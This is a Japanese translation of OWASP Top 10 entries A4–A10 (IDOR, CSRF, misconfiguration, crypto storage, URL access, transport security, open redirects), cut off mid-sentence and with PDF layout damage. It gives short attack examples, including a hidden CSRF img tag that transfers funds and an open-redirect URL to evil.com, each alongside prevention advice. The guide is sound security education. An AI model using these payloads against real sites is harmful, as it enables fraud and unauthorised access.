ウェブページを生成する際に、アプリケーショ
ンは頻繁にオブジェクトの実際の名前かキー
を使用します。 アプリケーションは、ユーザが
対象オブジェクトについて権限があるというこ
とを常に確かめるというわけではありません。
そのため、安全でないオブジェクトの直接参照
という脆弱性が起こります。テスターは、その
ような問題を検出するために容易にパラメータ
値を操ることができます、そしてコード分析は
承認が適切に確かめられるかどうかをすぐに
示しています。 

そのような欠陥はパラ
メータで参照される全
てのデータに影響を
与えることができます。 
オブジェクト名のネー
ミングルールが統一さ
れている場合、攻撃
者がそのタイプに関
する入手出来る全て
データにアクセスする
のは簡単な事です。 

さらされるデータの事
業的な価値を考慮し
て下さい。また脆弱性
の存在が衆目にさら
された場合の影響に
ついても考慮して下さ
い。 

 
攻撃シナリオの例 
アプリケーションが、アカウント情報にアクセスするSQLコールに検
証されていないデータを使用したとします。 

  String query = "SELECT * FROM accts WHERE account = ?"; 

  PreparedStatement pstmt = 
  connection.prepareStatement(query , … ); 

  pstmt.setString( 1, request.getParameter("acct")); 

  ResultSet results = pstmt.executeQuery( ); 

 攻撃者は、ブラウザの‘acct’パラメータを変更して、好きなアカウ
ント番号を送ることを試みます。もし値が検証されていなければ、意
図した顧客アカウントの代わり、どんなユーザのアカウントにもアク
セスできます。 

   http://example.com/app/accountInfo?acct=notmyacct 

 
脆弱性存否確認方法 
 安全でないオブジェクトの直接参照に関する脆弱性を検出する最
も良い方法は、全てのオブジェクト参照が適切に防御されているこ
とを確認することです。そのために下記を考慮して下さい。 

1. 制限のあるリソースへの直接的な参照の場合、アプリケーショ
ンは、ユーザがリクエストしたそのリソースに対するアクセスの
認証を正確に確認する必要があります。 

2. もし参照が間接的な場合、直接参照へのマッピングが利用
ユーザの権限の値に制限されなければなりません。 

 アプリケーションのコードレビューは、アプローチが安全に実装さ
れているかどうかすぐに確かめることができます。 また、テストも直
接オブジェクト参照の箇所を特定し、その参照の安全性確認に有
効です。自動化ツールでは、一般的にはこれら欠陥を検出しません。
何故ならどれが保護すべきデータか、どれが（ユーザに参照されて
も）安全か安全でないか認識できないからです。 

 
リファレンス 
OWASP 

• OWASP Top 10-2007 on Insecure Dir Object References 

• ESAPI Access Reference Map API 

• ESAPI Access Control API (See isAuthorizedForData(), 

isAuthorizedForFile(), isAuthorizedForFunction() ) 

アクセス制御に関する更に詳細な要件については下記を参照下さ
い。 

 ASVS requirements area for Access Control (V4). 

 

外部 

• CWE Entry 639 on Insecure Direct Object References 

• CWE Entry 22 on Path Traversal (which is an example of a Direct 
Object Reference attack) 

 
防止方法 
安全でないオブジェクト直接参照を防ぐのは、それぞれのユーザの
アクセス出来るオブジェクト(例：オブジェクト番号、ファイル名)を保
護するため、下記のようなアプローチを選択する必要があります。 

1. ユーザ毎あるいはセッション毎に（異なる）間接オブジェクト参
照を使用して下さい。 これによって、攻撃者は直接権限のない
リソースを狙うことができません。 例えば、リソースのデータ
ベースキーを使用する代わりに、現在のユーザ用に承認され
た6つのリソースのドロップダウンリストは、ユーザがどの値を
選択したかを示すのにNo.1～6を使用するかもしれません。ア
プリケーションはサーバで主要な実際のデータベースの1ユー
ザあたりの間接参照をマッピングしなければなりません。 
OWASPのESAPIは、開発者が直接オプジェクト参照を排除する
のに使用できる、シーケンシャル・ランダム両方のアクセス参
照マップを含んでいます。 

2. アクセスをチェックしてください。 信頼できないソースからの直
接オブジェクト参照の使用には、ユーザがリクエストしたオブ
ジェクトに権限があることを確認するアクセス制御チェックを含
まなければなりません。 

安全でないオブジェクトの直接
参照 A4 

  セキュリティ上の 
弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 

http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/22.html


__________ 
悪用難易度 

平均的 
認知度 

広範囲 
発見難易度 

容易 
影響 

中程度 
__________ 

ウェブサイトにリクエ
ストを送信するように
ユーザを騙すことが
出来る全ての人を考
慮下さい。ユーザがア
クセスするあらゆる
ウェブサイトや他の
HTMLフィードも同様
です。 

攻撃者は、偽造した
HTTPリクエストを作成
し、イメージタグ、XSS、
または他の多数のテ
クニックで犠牲者が偽
造リクエストをサブミッ
トするようにだましま
す。 ユーザが認証さ
れるなら、攻撃は成
功します。 

CSRFでは、攻撃者が特定の動作に関する全

詳細を予想できるようなウェブアプリケーショ
ンを利用します。 

ブラウザが自動的にセッションクッキーのよう
な認証情報を送るので、攻撃者は真正のもの
と区別がつかない偽造されたリクエストを生成
する悪意あるウェブページを作成できます。 
CSRFの検出はペネトレーションテスト又はコー
ド分析でかなり簡単です。 

攻撃者は、犠牲者が
変更できるあらゆる
データの変更や、犠
牲者使用権限のある
あらゆる機能を犠牲
者に実行させることが
可能になります。 

 影響を受けるデータ
やアプリケーションの
機能の事業的価値を
考慮下さい。ユーザ
が評判に与える影響
を考慮して下さい。 

 
攻撃シナリオの例 
 下記の様に、ユーザは機密情報の含まれていないステート変化
のリクエストをアプリケーションから送信出来るとします。 

  http://example.com/app/transferFunds?amount=1500 
  &destinationAccount=4673243243 

 攻撃者は、犠牲者の口座から自分のアカウントにお金を振り込む
リクエストを構築して、次に攻撃者のコントロール下にある様々なサ
イトに保存されているimg又はiframeタグにこのリクエストを埋め込
みます。 

  <img src="http://example.com/app/transferFunds? 
  amount=1500&destinationAccount=attackersAcct#“ 
  width="0" height="0" /> 

 犠牲者が既にexample.comに認証されており、これらのサイトの
どれかをもし訪問した場合、偽造リクエストにユーザのセッション情
報が含まれているため、要求が認可されてしまいます。 

 
ＣＳＲＦ存否確認方法 
アプリケーションの脆弱性を確認する最も簡単な方法は、各リンク
とフォームに各ユーザのための事前想定できないトークンが含まれ
るかどうかを確認することです。事前想定できないトークンが無い
場合、攻撃者は悪意があるリクエストを偽造することができます。 
ステートを変化する機能を呼び起こすリンクやフォームは、CSRFの
最も重要なターゲットであるため、注視して下さい。 
 

マルチステップのトランザクションは、脆弱性に対する免疫が本来
備わっていないのでチェックすべきです。 攻撃者は、複数のタグや
可能ならJavaScriptを使用することによって、容易に一連のリクエス
トを作り出すことができます。 
 
また、クッキー、ソースIPアドレス、およびブラウザによって自動的に

送られるその他の情報は、偽造されたリクエストが含まれることが
あるので信用できないことにも注意して下さい。 
OWASPのCSRF Testerツールは、CSRFの危険性を示すためのテスト
ケース生成を助ける事が出来ます。 

 
リファレンス 
OWASP 

• OWASP CSRF Article 

• OWASP CSRF Prevention Cheat Sheet 

• OWASP CSRFGuard - CSRF Defense Tool  

• ESAPI Project Home Page  

• ESAPI HTTPUtilities Class with AntiCSRF Tokens 

• OWASP Testing Guide: Chapter on CSRF Testing 

• OWASP CSRFTester - CSRF Testing Tool  
 

外部 

• CWE Entry 352 on CSRF  

 

 
ＣＳＲＦ防止方法 
CSRFを防ぐには、それぞれのHTTPリクエストのURLまたはボディに
予測できないトークンを加える必要があります。そのようなトークン
は尐なくともセッション毎にユニークにすべきで、できればリクエスト
毎にユニークにして下さい。 

1. 好ましいオプションは、hiddenフィールドにユニークなトークン
を含むことです。 これにより、HTTPリクエストのボディーで値を
送り、URLに加えることでさらされることを防ぎます。 

2. ユニークのトークンは、URL自体、またはURLパラメータに加え
る事も出来ます。しかしながら、このプレースメントはURLが攻
撃者にさらされて、その結果秘密のトークンが悪用されるリス
クが存在します。 

あなたのJava EE、.NET、またはPHPアプリケーションに自動的にその
ようなトークンを含むのにOWASPのCSRF Guardを使用できます。 
OWASPのESAPIは開発者がトランザクションを保護するのに使用で
きるトークンジェネレータと検証ツールを含んでいます。 

クロスサイトリクエストフォージェ
リ(CSRF) A5 

  セキュリティ上の 
弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 

http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/CSRF
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://www.owasp.org/index.php/Testing_for_CSRF_(OWASP-SM-005)
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/352.html


__________ 
悪用難易度 

容易 
認知度 

高い 
発見難易度 

容易 
影響 

中程度 
__________ 

正規ユーザーと同様
に匿名の外部攻撃者
もシステムへの侵入
を試みるので考慮し
て下さい。また内部関
係者も自らの行動を
偽装しようとする事が
あるので注意して下さ
い。 

攻撃者は、デフォルト
のアカウント、使われ
ていないページ、パッ
チの当てられていな
い欠陥、保護されて
いないファイルやディ
レクトリ等にアクセス
して、認証されていな
いアクセス権を取得し
たりシステムに関する
情報を得ようとします。 

セキュリティの不適切な設定は、プラットホー
ム、ウェブサーバー、アプリケーションサー
バー、フレームワーク、カスタムコードなど、ア
プリケーションスタックのどんなレベルでも存
在します。開発者とネットワーク管理者は、全
体のスタックの適切な設定を行うために共同
で作業する必要があります。スキャンツール
はパッチの適用有無、設定のミス、デフォルト
アカウントの使用、不要なサービスの存在な
どを検出するのに役に立ちます。 

この問題により、攻撃
者に何らかのシステ
ムデータや機能への
不正アクセスを可能
にします。システム全
体の操作が可能にな
る場合もあります。 

知らない間にシステ
ムが完全にのっとら
れている場合があり
ます。 全てのデータ
は時間をかけてゆっく
りと盗まれたり改変さ
れます。リカバリのコ
ストは甚大です。 

 
攻撃シナリオの例 
シナリオ#1：アプリケーションが、StrutsやSpringのような強力なフレームワー
クに依存しているとします。 XSSの脆弱性が、これらのフレームワークのコン

ポーネントにあったとします。これらの脆弱性を修正するための更新プログ
ラムがリリースされても、あなたがライブラリを更新しないでいたとします。
更新するまでは、攻撃者はあなたのアプリケーションでこれらの脆弱性を簡
単に見つけ悪用できるでしょう。 
シナリオ2：アプリケーションサーバーの管理コンソールが自動的にインス

トールされ、削除されていないとします。デフォルトのアカウントが変更され
ていないとします。攻撃者は、あなたのサーバで標準の管理ページを発見
し、デフォルトのパスワードでログインし、乗っ取れます。 
シナリオ3：ディレクトリリスティングがサーバー上で無効にされていないとし

ます。攻撃者は、どんなファイルもディレクトリで一覧表示することができる
ことを発見したとします。攻撃者は、コンパイルされた全Javaクラスをダウン

ロードして、全てのカスタムコードを取得するために逆コンパイルする事が
出来ます。その後、アプリケーションで重大なアクセス制御の欠陥を見つけ
ることになります。 
シナリオ4：アプリケーションサーバーの設定で、スタックトレースがユーザに

返されるようになっていたとします。潜在的に存在している脆弱性を探る手
がかりとなる情報が流出します。攻撃者は、このような普段でないようなエ
ラーメッセージが好きです。 

 
脆弱性存否確認方法 
全体のアプリケーションスタックに適切なセキュリティ強化を実行し
ましたか? 

1. 全てのソフトウェアを最新に保つプロセスがありますか？ OS、
ウェブ/アプリケーションサーバ、DBMS、アプリケーション、およ
びすべてのコードライブラリを対象とします。 

2. 不要な全てのものを、無効化・除去していますか？または元々
不要なものをインストールしていませんか？(例：ポート、サービ
ス、ページ、アカウント、特権) 

3. デフォルトアカウントのパスワードを変更し無効にしていますか 

4. エラー処理は、スタックトレースとその他非常に詳細な情報が
含まれるエラーメッセージが漏洩しないようにセットアップされ
ますか? 

5. 開発フレームワーク(例：Struts、Spring、ASP.NET)とライブラリの
セキュリティー設定は適切に理解されて、構成されますか? 

アプリケーションの適切なセキュリティ設定を開発・維持するために
は、計画と反復のプロセスが必要です。 

 
リファレンス 
OWASP 

• OWASP Development Guide: Chapter on Configuration 

• OWASP Code Review Guide: Chapter on Error Handling 

• OWASP Testing Guide: Configuration Management 

• OWASP Testing Guide: Testing for Error Codes 

• OWASP Top 10 2004 - Insecure Configuration Management  

追加要件は下記を参照下さい。 

 ASVS requirements area for Security Configuration (V12). 

外部 

• PC Magazine Article on Web Server Hardening 

• CWE Entry 2 on Environmental Security Flaws 

• CIS Security Configuration Guides/Benchmarks 

 
防止方法 
下記の実施を推薦します。 

1. 適切にロックダウンされた他の環境でも簡単に素早くデプロイ
出来る反復強化されたプロセスの構築。開発、QA、および実
稼動環境は全て同一構成にすべきです。 このプロセスは、新
しいセキュアな環境をセットアップするのに必要な取り組みを
最小限にするために自動化されるべきです。 

2. ソフトウェアアップデートとパッチをデプロイされた環境に対し
て適切なタイミングで最新に保つこと。また、見過ごされること
が多いのですが、全てのコードライブラリも同様に対象として
下さい。 

3. コンポーネント間を適切な分離と、セキュリティを提供する強力
なアプリケーションアーキテクチャの構築 

4. 将来の設定ミスやパッチの未適用を検出するためにスキャン
と監査の定期的な実行。 

セキュリティの不適切な設定 A6 
  セキュリティ上の 

弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 

http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Configuration
http://www.owasp.org/index.php/Error_Handling
http://www.owasp.org/index.php/Testing_for_configuration_management
http://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://www.pcmag.com/article2/0,2817,11525,00.asp
http://cwe.mitre.org/data/definitions/2.html
http://cisecurity.org/en-us/?route=downloads.benchmarks


__________ 
悪用難易度 

困難 
認知度 

低い 
発見難易度 

困難 
影響 

深刻 
__________ 

システムのユーザを
考慮して下さい。 彼ら
は権限のない保護さ
れたデータへのアク
セスを望みますか? 
内部の管理者はどう
ですか? 

攻撃者は普通は暗号
自体を破ろうとはしま
せん。攻撃者は、暗
号鍵を探したり、平文
のデータを得ようとし
たり、あるいは自動的
に暗号を解除するよう
なチャネルを通して
データにアクセスしよ
うとするなど、他の方
法で暗号を破ります。 

最も一般的な失敗は暗号化すべきデータを暗
号化していないことです。 暗号化している場
合でも、安全でないキー生成やストレージ、
キーの無変更、弱いアルゴリズムの使用が一
般的です。 また、弱いソルト化していないハッ
シュの使用も一般的です。 外部の攻撃者はア
クセスが限定されているために、それら欠点
の検出には苦労します。 通常、彼らは最初に、
必要なアクセスを得る別の手段を講じなけれ
ばなりません。 

暗号化すべきであっ
た全てのデータが入
手されてしまいます。 
通常、この情報は健
診記録、資格証明書、
個人的なデータ、クレ
ジットカードなどの機
密データを含んでい
ます。 

漏洩したデータと信用
失墜による影響の事
業的価値を考慮して
下さい。データが流出
した場合の法的責任
は? 世評へのダメージ
も考慮下さい。 

 
攻撃シナリオの例 
シナリオ#1: アプリケーションは、エンドユーザへの情報流出を防ぐ
ためにデータベースでクレジットカードを暗号化します。 しかし、

データベースにはクレジットカードの列に対して自動的に復号化す
るクエリが設定されているため、SQLインジェクションの脆弱性が存

在する場合、全てのクレジットカード情報をクリアテキストで読み出
してしまいます。 フロントエンドウェブアプリケーションではなく、バッ

クエンドのアプリケーションだけが復号化出来るようにシステムを設
定すべきです。 
 
シナリオ#2: バックアップテープの健康記録は暗号化されていました

が、そのバックアップ上に暗号化キーが保存されていました。テー
プはバックアップセンターに決して到着しません。 
 
シナリオ3: パスワードデータベースが、皆のパスワードを保存する
のにソルト処理されていないハッシュを使用しているとします。 ファ

イルアップロードの欠陥が存在する場合、攻撃者はパスワードファ
イルを取ることができます。 ブルートフォースを４週間実施すればソ

ルト処理されていないハッシュが解読できます。適切にソルト処理さ
れたハッシュは3000年以上かかるでしょう。 

 
脆弱性存否確認方法 
 まず最初に決定しなければならないことは、どのデータが暗号化
を必要とするほど機密であるかということです。 例えば、パスワード、
クレジットカード、健診記録、および個人情報は暗号化されるべきで
す。 そのようなすべてのデータに関しては、以下を確実に実施して
ください。 

1. このデータのバックアップに長期間保存される箇所の全てを暗
号化する。 

2. 認証されたユーザだけが暗号化を外したデータ(すなわち、ア
クセスコントロール-- A4とA8)のコピーにアクセスできるようにす
る。 

3. 強度の高い標準の暗号化アルゴリズムを使用する。 

4. 強いキーが生成され、不正アクセスから保護する。キーの変
更を計画に行う。 

問題に対処するためにさらに詳細な情報は、ASVSの暗号に関する
要件(V7)を参照下さい。 

 
リファレンス 
OWASP 

この項の問題回避のための更に詳細な要件については下記を参
照下さい。  

ASVS requirements on Cryptography (V7). 

• OWASP Top 10-2007 on Insecure Cryptographic Storage 

• ESAPI Encryptor API 

• OWASP Development Guide: Chapter on Cryptography 

• OWASP Code Review Guide: Chapter on Cryptography 

外部 

• CWE Entry 310 on Cryptographic Issues 

• CWE Entry 312 on Cleartext Storage of Sensitive Information 

• CWE Entry 326 on Weak Encryption 

 

 
防止方法 
安全でない暗号化による危険性の全てをカバーすることは、この
Top10の範囲を超えています。尐なくとも、暗号化すべきデータに対
して下記のことを実行して下さい。 

1. 保護するデータに対する脅威への考察(例えば、インサイダー
攻撃、社外利用者)。これらの脅威に対してデータを必ず暗号
化してください。 

2. オフサイトのバックアップが暗号化されていることの確認。鍵は、
別々に管理されて、バックアップします。 

3. 適切な強い標準のアルゴリズムと強い鍵の確実な使用。鍵の
管理も適切に行って下さい。 

4. パスワードが強い標準のアルゴリズムでハッシュ化し、適切な
ソルト化の実施。 

5. 全ての鍵とパスワードが不正アクセスから保護されていること
の確認。 

安全でない暗号化によるデータ
保存 A7 

  セキュリティ上の 
弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 
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__________ 
悪用難易度 

容易 
認知度 

低い 
発見難易度 

平均的 
影響 

中程度 
__________ 

ネットワークアクセス
可能な人は誰でもア
プリケーションにリク
エストを送ることがで
きます。 匿名ユーザ
が個人ページにアク
セスできたり、ユーザ
が特権のあるページ
にアクセスできます
か? 

システム利用者が攻
撃者の場合は、URLを
特権ページのURLに
変更してみます。これ
で アクセスが承認さ
れますか? 匿名ユー
ザの場合は、保護さ
れない個人的なペー
ジにアクセスできます。 

アプリケーションはいつも適切にページのリク
エストから保護されているというわけではあり
ません。URL保護は設定によって管理されて

おり、そのシステムの設定が不十分な場合が
あります。 開発者は適切なコードチェックを折

を見て入れなければなりませんが、それがさ
れないことがあります。 
そのような欠陥を検出するのは簡単です。 最
も難しいのは、攻撃に利用されるページ(URL)
の特定です。 

この欠陥により、攻撃
者は権限のない機能
にアクセスできます。 
管理者の機能はこの
タイプの攻撃の主要
な目標です。 

外部にさらされた機能
とこれら機能により処
理されるデータの事
業的価値を考慮して
下さいまた、この脆弱
性が公になった際の、
評判低下に関する悪
影響を考えてください。 

 
攻撃シナリオの例 
攻撃者が、ターゲットのURLを強制的にブラウズしようとしたとします。
本来認証が必要である下記の２つのURLがあり、また、管理者権限
が“admin_getappInfo” にアクセスするには必要だとします。 

  http://example.com/app/getappInfo 

  http://example.com/app/admin_getappInfo 

 攻撃者が、認証されていない状態でどちらかのページへのアクセ
スが許可された場合、不正アクセスが許容されたことになります。も
し認証された非管理者のユーザが“admin_getappInfo”ページにア

クセス出来た場合、それは欠陥であり、攻撃者を不適切な保護がさ
れている管理者用ページに導くことになります。 

 このような欠陥は、権限のないユーザにリンクとボタンが単に表
示されていないだけの場合に起こります。アプリケーションはター
ゲットとなるページの保護に失敗しています。 

 
脆弱性存否確認方法 
適切なURLアクセス制限が行われていないかどうかを確認する最良
の方法は、全てのページを確認することです。 各ページについて、
パブリックか閲覧制限のあるページかを考慮して、閲覧制限のある
べきページの場合は下記を検討下さい。 

1. 認証が、そのページにアクセスするのに必要ですか? 

2. 認証された全ユーザが閲覧できるように設定されています
か？そうでない場合、ユーザの閲覧許可を確認しています
か？ 

外部に対するセキュリティのメカニズムはページアクセスのための
認証と承認を行います。そのメカニズムが各ページ毎に適切に設
定されているか確認下さい。コードレベルでの保護が使用されてい
る場合、必要な全てのページが保護されているか確認下さい。 ペ
ネトレーションテストでも、適切な保護がなされているか確認出来ま
す。 

 
リファレンス 
OWASP 

• OWASP Top 10-2007 on Failure to Restrict URL Access 

• ESAPI Access Control API 

• OWASP Development Guide: Chapter on Authorization 

• OWASP Testing Guide: Testing for Path Traversal 

• OWASP Article on Forced Browsing 

アクセス制御に関する更に詳細な要件については下記を参照下さ
い。 

ASVS requirements area for Access Control (V4). 

 

外部 

• CWE Entry 285 on Improper Access Control (Authorization) 

 
防止方法 
権限のないURLアクセスを防ぐには、各ページに適切な認証と承認

が必要となるアプローチを選択することです。そのような保護は、ア
プリケーションのコードの外部に1つ以上のコンポーネントとして提

供されます。そのメカニズムに関わらず、以下の全ての実施を推奨
します。 
 

1. 認証と承認のポリシーはロールベースにして、最小限の労力
でこのポリシーを維持できるようにする。 

2. ポリシーは柔軟な設定が可能なようにして、ポリシーの変更不
可能な部分を最小限に留める。 

3. 実施メカニズムは、デフォルトでは全てのアクセスを拒絶する
ようにして、各々のページにアクセスするために特定ユーザと
特定な場合にのみ明確な承認をする。 

4. 作業フローに関するページの場合、アクセス許可する条件が
適切な状態にあることを確認する。 

URLアクセス制御の不備 A8 
  セキュリティ上の 

弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 
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__________ 
悪用難易度 

困難 
認知度 

高い 
発見難易度 

容易 
影響 

中程度 
__________ 

ユーザのネットワーク
トラフィックをモニター
できる人達全員が対
象となります。アプリ
ケーションがインター
ネット上にある場合、
ユーザのアクセス方
法は不明な状態とな
ります。バックエンド
接続を忘れないでくだ
さい。 

ユーザのネットワーク
トラフィックのモニタリ
ングは難しい場合も
ありますが、簡単な場
合もあります。 最大
の困難は、ユーザが
脆弱な部分にアクセ
スしている間に、適切
なネットワークのトラ
フィックをモニターす
る点です。 

アプリケーションは多くの場合ネットワークトラ
フィックを保護しません。認証の間SSL/TLSを使
用しますが、データとセッションIDを暴露・妨害

する全てに用いる訳ではありません。また、期
限切れや不適切な構成の証明書が使用でき
るかもしれません。 
基本的な欠陥を検出するのは簡単です。 サイ

トのネットワークトラフィックを監視するだけで
よいのです。 より微細な欠陥は、アプリケー

ションのデザインとサーバ設定の検査を必要
とします。 

この欠陥は個人ユー
ザのデータを外部に
さらし、アカウントの盗
用にもつながります。
もし管理者アカウント
が盗用されると、サイ
ト全体へのアクセスも
可能となります。また、
不十分なSSLの設定も
フィッシング詐欺と
man-in-the-middle攻
撃を容易にすることが
できます。 

秘匿性、完全性、関
係者の認証の必要性
の3点からコミュニ
ケーションチャンネル
上のデータの事業価
値について考慮下さ
い。 

 
攻撃シナリオの例 
シナリオ#1: サイトが認証を必要とする全てのページにSSLを使用していない
とします。 攻撃者は、（オープンのワイヤレスネットワークや近所のケーブル

モデムネットワークのような）ネットワークトラフィックをモニターして、認証さ
れた犠牲者のセッションクッキーを観察します。次に攻撃者は、このクッキー
を再利用して、ユーザのセッションを乗っ取ります。 
 
シナリオ#2: サイトがユーザにブラウザから警告をされるような不適切なSSL

証明書を使用しているとします。ユーザは、そのサイトを利用するためには、
その様な警告を受け入れなければなりません。これによりユーザはそのよう
な警告に慣れるようになっていきます。 サイトの顧客に対するフィッシング

攻撃は、有効な証明書を持っていないそっくりなサイトに彼らを誘い出しま
す。そこで同様のブラウザ警告を生成します。犠牲者はそのような警告に慣
れてしまっているので、犠牲者はそのフィッシング詐欺サイトでの作業をそ
のまま進めて利用し、パスワードや他の個人的なデータを渡してしまいます。 
 
シナリオ#3: 全てのトラフィックがクリアテキストで送信されていることに気付
かずにいると、サイトはデータベース接続に単に標準のODBC/JDBCを使用し
ています。 

 
脆弱性存否確認方法 
 アプリケーションのトランスポート層において保護が不十分な箇所
の存否確認のための最適な方法は、以下の確認です。 

1. SSLが、認証に関連する全てのトラフィックを保護するように使
用されている。 

2. SSLが、プライベートページとサービスに関する全てのリソース
に対して使用されている。 これは全てのデータとセッショントー
クンを保護します。１ページにおけるSSLの混在は、ブラウザの
警告をユーザに引き起こすので、避けられるべきであり、ユー
ザのセッションIDを暴露するかもしれません。 

3. 強力なアルゴリズムのみが利用できる状態にある。 

4. 全てのセッションクッキーで「secure」フラグを設定し、ブラウザ
は平文の状態で決して送出しない。 

5. サーバ証明書が、正当で、適切に設定されている。 期限が切
れて取り消されたのではなく、認可された発行人によって発行
され、期限内で破棄されておらず、サイトが使用するすべての
ドメインで適合している。 

 
リファレンス 
OWASP 

この項の問題回避のための更に詳細な要件については下記を参
照下さい。  

ASVS requirements on Communications Security (V10). 

• OWASP Transport Layer Protection Cheat Sheet 

• OWASP Top 10-2007 on Insecure Communications 

• OWASP Development Guide: Chapter on Cryptography 

• OWASP Testing Guide: Chapter on SSL/TLS Testing 

外部 

•CWE Entry 319 on Cleartext Transmission of Sensitive 
Information 

• SSL Labs Server Test 

• Definition of FIPS 140-2 Cryptographic Standard 

 
防止方法 
 適切なトランスポート層の保護は、サイト設計自体と関連します。 
全体のサイトにSSLを必要とするのが最も簡単な保護方法です。た
だパフォーマンス上の理由から、プライベートページだけでSSLを使
用するサイトもあります。他のものは「クリティカルな」ページのみで
SSLを使用しますが、これはセッションIDと他の機密データを露出す
る可能性があります。 最低限でも下記の全てを行ってください。 

1. 機密性のある全てのページにSSLを利用する。これらのページ
への非SSL要求はSSLページにリダイレクトするようにして下さい。 

2. secureのフラグを全ての機密性のあるクッキーに設定する。 

3. SSLプロバイダーを導入して、強いアルゴリズム(例:FIPS140-2 
compliant)のみをサポートする。 

4. 証明書が有効期限内で破棄されておらず、サイト内の全ドメイ
ンにマッチする。 

5. バックエンドと他の接続もSSLか他の暗号技術を使用する。 

不十分なトランスポート層の保
護 A9 
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__________ 
攻撃難易度 

平均的 
認知度 

低い 
発見難易度 

容易 
影響 

中程度 
__________ 

正規ユーザーを欺き、
ウェブサイトへとリク
エスト送出を行う攻撃
者を考慮して下さい。
あなたのユーザが使
用するWebサイトや
他のHTMLフィードか
らも同じ事ができます。 

攻撃攻撃者は未検証
のリダイレクト先にリ
ンクを作り、被害者を
欺いてクリックさせよ
うとします。被害者は
リンクが有効なサイト
へのものなのでクリッ
クしてしまいます。攻
撃者はセキュリティ
チェックを迂回させる
ために安全でない転
送先を狙います。 

アプリケーションは日常的に、他のページへ
のリダイレクトや、内部でのフォーワードを行
います。攻撃対象となるページが検証されて
いないパラメータで特定されており、攻撃者に
リダイレクト先ページの選択を許可してしまい
ます。 

 チェックされていないリダイレクトを検出する
のは簡単です。全ＵＲＬリストから探して下さい。
チェックされていないフォーワードは、内部
ページにターゲットされているため、検出は難
しくなります。 

リダイレクトによりマ
ルウェアをインストー
ルさせたり、犠牲者に
パスワードや機密情
報を開示させるように
だますことが可能です。
安全でないフォワード
はアクセス制御の迂
回を許す可能性があ
ります。 

ユーザの信頼保持に
よる事業価値を考慮
下さい。 

ユーザがマルウェア
に感染したり攻撃者
が内部者のみアクセ
スできる機能にアクセ
スできるとなるとその
信頼に対する影響は
どれくらいでしょう
か？ 

 
攻撃シナリオの例 
シナリオ#1: アプリケーションには、“url”という単一のパラメータを持
つ“redirect.jsp”というページがあるとします。攻撃者は、悪意ある
URLを作り、ユーザにフィッシング詐欺を実行してマルウェアをイン
ストールする悪意あるサイトにリダイレクトします。  
http://www.example.com/redirect.jsp?url=evil.com  

シナリオ#2: アプリケーションが、サイト内の異なる場所を遷移させ
るためにフォワードを使用したとします。この実行のために、幾つか
のページは、処理が成功した場合にユーザが飛ばされる場所を示
すパラメータを使用しています。この場合攻撃者は、アプリケーショ
ンのアクセス制御チェックをくぐり抜けるURLを作り、通常ではアクセ
ス出来ない管理機能に自らをフォーワードさせるでしょう。   

http://www.example.com/boring.jsp?fwd=admin.jsp 

 

 
脆弱性存否確認方法 
アプリケーションのリダイレクト又はフォーワードに対するバリデー
ションの有無は下記方法で探すのが最適です。 

1. リダイレクトとフォーワード(.NETでは「トランスファー」)に用いる
全てのコードをレビューする。 ターゲットURLへのパラメータ値
存否を確認し、存在する場合はそのパラメータが、許可された
先か、または許可された先のエレメントのみを含んでいるか確
認する。 

2. サイトで何かリダイレクト(HTTP応答コード300-307、通常302)が
発生していないかをくまなく探す。リダイレクトの前に提供され
